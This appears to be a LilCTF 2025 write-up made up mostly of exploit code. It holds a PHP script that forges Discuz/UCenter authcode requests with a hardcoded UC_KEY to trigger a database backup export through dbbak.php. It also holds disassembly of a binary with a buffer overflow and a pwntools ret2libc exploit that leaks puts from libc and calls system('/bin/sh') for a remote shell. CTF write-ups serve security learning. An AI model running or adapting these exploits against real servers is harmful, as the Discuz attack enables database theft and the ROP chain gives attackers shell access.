LilCTF 2025 WP

1
parse_str(_authcode($code, 'DECODE', UC_KEY), $get);

1
<?php
2
// 配置参数
3
$targetUrl = "";
4
$UC_KEY = "N8ear1n0q4s646UeZeod130eLdlbqfs1BbRd447eq866gaUdmek7v2D9r9EeS6vb";
5
$apptype = "discuzx";
6

7
// 从 dbbak.php 提取的加密函数
8
function _authcode($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
9
    $ckey_length = 4;
10
    $key = md5($key ? $key : '');
11
    $keya = md5(substr($key, 0, 16));
12
    $keyb = md5(substr($key, 16, 16));
13
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
14

15
    $cryptkey = $keya.md5($keya.$keyc);
16
    $key_length = strlen($cryptkey);
17

18
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
19
    $string_length = strlen($string);
20

21
    $result = '';
22
    $box = range(0, 255);
23

24
    $rndkey = array();
25
    for($i = 0; $i <= 255; $i++) {
26
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
27
    }
28

29
    for($j = $i = 0; $i < 256; $i++) {
30
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
31
        $tmp = $box[$i];
32
        $box[$i] = $box[$j];
33
        $box[$j] = $tmp;
34
    }
35

36
    for($a = $j = $i = 0; $i < $string_length; $i++) {
37
        $a = ($a + 1) % 256;
38
        $j = ($j + $box[$a]) % 256;
39
        $tmp = $box[$a];
40
        $box[$a] = $box[$j];
41
        $box[$j] = $tmp;
42
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
43
    }
44

45
    if($operation == 'DECODE') {
46
        if(((int)substr($result, 0, 10) == 0 || (int)substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) === substr(md5(substr($result, 26).$keyb), 0, 16)) {
47
            return substr($result, 26);
48
        } else {
49
            return '';
50
        }
51
    } else {
52
        return $keyc.str_replace('=', '', base64_encode($result));
53
    }
54
}
55

56
// 1. 构造请求参数
57
$get = [
58
    'method' => 'export',
59
    'time' => time(),
60
    'volume' => 0,
61
    'sqlpath' => '',
62
    'backupfilename' => date('ymd').'_'.bin2hex(random_bytes(3))
63
];
64

65
// 2. 生成查询字符串并加密
66
$queryString = http_build_query($get);
67
$code = _authcode($queryString, 'ENCODE', $UC_KEY);
68

69
// 3. 构造最终请求 URL
70
$requestUrl = $targetUrl."?apptype=".$apptype."&code=".urlencode($code);
71

72
// 4. 发送 HTTP 请求
73
echo "正在发送请求到：".$requestUrl."\n\n";
74

75
$ch = curl_init();
76
curl_setopt($ch, CURLOPT_URL, $requestUrl);
77
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
78
curl_setopt($ch, CURLOPT_HEADER, false);
79
$response = curl_exec($ch);
80
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
81
curl_close($ch);
82

83
echo $response;
84

85
// 5. 处理响应
86
echo "HTTP 状态码：".$httpCode."\n";
87
echo "响应内容:\n";
88
echo "----------------------------------------\n";
89

90
if($httpCode == 200) {
91
    // 尝试解析 XML 响应
92
    $xml = @simplexml_load_string($response);
93
    if($xml !== false) {
94
        echo "备份操作结果:\n";
95

96
        // 显示错误信息（如果有）
97
        if(isset($xml->error)) {
98
            echo "错误代码：".$xml->error['errorCode']."\n";
99
            echo "错误信息：".$xml->error['errorMessage']."\n";
100
        }
101

102
        // 显示文件信息（成功时）
103
        if(isset($xml->fileinfo)) {
104
            echo "\n备份文件信息:\n";
105
            echo "文件序号：".$xml->fileinfo->file_num."\n";
106
            echo "文件大小：".$xml->fileinfo->file_size." bytes\n";
107
            echo "文件名：".$xml->fileinfo->file_name."\n";
108
            echo "文件 URL: ".$xml->fileinfo->file_url."\n";
109
            echo "最后修改：".date('Y-m-d H:i:s', $xml->fileinfo->last_modify)."\n";
110
        }
111

112
        // 显示下一卷 URL（分卷备份时）
113
        if(isset($xml->nexturl) && !empty($xml->nexturl)) {
114
            echo "\n下一卷 URL:\n".$xml->nexturl."\n";
115
        }
116
    } else {
117
        // 非 XML 响应直接输出
118
        echo $response;
119
    }
120
} else {
121
    echo "请求失败，HTTP 状态码：".$httpCode."\n";
122
    echo $response;
123
}
124

125
echo "\n----------------------------------------\n";
126
?>

1
; Attributes: bp-based frame
2

3
; int __cdecl main(int argc, const char **argv, const char **envp)
4
public main
5
main proc near
6

7
buf= byte ptr -70h
8

9
; __unwind {
10
endbr64
11
push    rbp
12
mov     rbp, rsp
13
sub     rsp, 70h
14
mov     rax, cs:stdin@GLIBC_2_2_5
15
mov     esi, 0          ; buf
16
mov     rdi, rax        ; stream
17
call    _setbuf
18
mov     rax, cs:__bss_start
19
mov     esi, 0          ; buf
20
mov     rdi, rax        ; stream
21
call    _setbuf
22
mov     rax, cs:stderr@GLIBC_2_2_5
23
mov     esi, 0          ; buf
24
mov     rdi, rax        ; stream
25
call    _setbuf
26
lea     rax, s          ; "Welcome to lilctf!"
27
mov     rdi, rax        ; s
28
call    _puts
29
lea     rax, aWhatSYourName ; "What's your name?"
30
mov     rdi, rax        ; s
31
call    _puts
32
lea     rax, [rbp+buf]
33
mov     edx, 200h       ; nbytes
34
mov     rsi, rax        ; buf
35
mov     edi, 0          ; fd
36
mov     eax, 0
37
call    _read
38
mov     eax, 0
39
leave
40
retn
41
; } // starts at 401178
42
main endp
43

44
_text ends

1
rop_chain_1 = p64(pop_rdi)       # 执行 pop rdi; ret
2
rop_chain_1 += p64(puts_got)     # 将 puts@got 的地址放入 rdi
3
rop_chain_1 += p64(puts_plt)     # 调用 puts
4
rop_chain_1 += p64(main_addr)    # puts 返回后，重新执行 main

1
rop_chain_2 = p64(ret_gadget)    # 用于栈对齐
2
rop_chain_2 += p64(pop_rdi)      # 执行 pop rdi; ret
3
rop_chain_2 += p64(bin_sh_addr)  # 将 "/bin/sh" 的地址放入 rdi
4
rop_chain_2 += p64(system_addr)  # 调用 system

1
from pwn import *
2

3
USE_REMOTE = True
4
HOST = ''
5
PORT = 33394
6

7
elf = context.binary = ELF('./pwn')
8
libc = ELF('./libc.so.6')
9

10
if USE_REMOTE:
11
    p = remote(HOST, PORT)
12
else:
13
    p = process(['./ld-linux-x86-64.so.2', '--library-path', '.', './pwn'])
14

15
rop = ROP(elf)
16
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
17
ret_gadget = rop.find_gadget(['ret'])[0]
18

19
puts_plt = elf.plt['puts']
20
puts_got = elf.got['puts']
21
main_addr = elf.symbols['main']
22
padding = b'A' * 120
23

24
log.info("### Stage 1: Leaking puts address...")
25
p.recvuntil(b"What's your name?\n")
26
payload1 = padding + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
27
p.sendline(payload1)
28
leaked_data = p.recvline().strip()
29
leaked_puts_addr = u64(leaked_data.ljust(8, b'\x00'))
30

31
p.recvuntil(b"What's your name?\n")
32
libc_base = leaked_puts_addr - libc.symbols['puts']
33
system_addr = libc_base + libc.symbols['system']
34
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
35
payload2 = padding + p64(ret_gadget) + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
36
log.info("### Stage 2: Getting Shell...")
37
p.sendline(payload2)
38

39
p.interactive()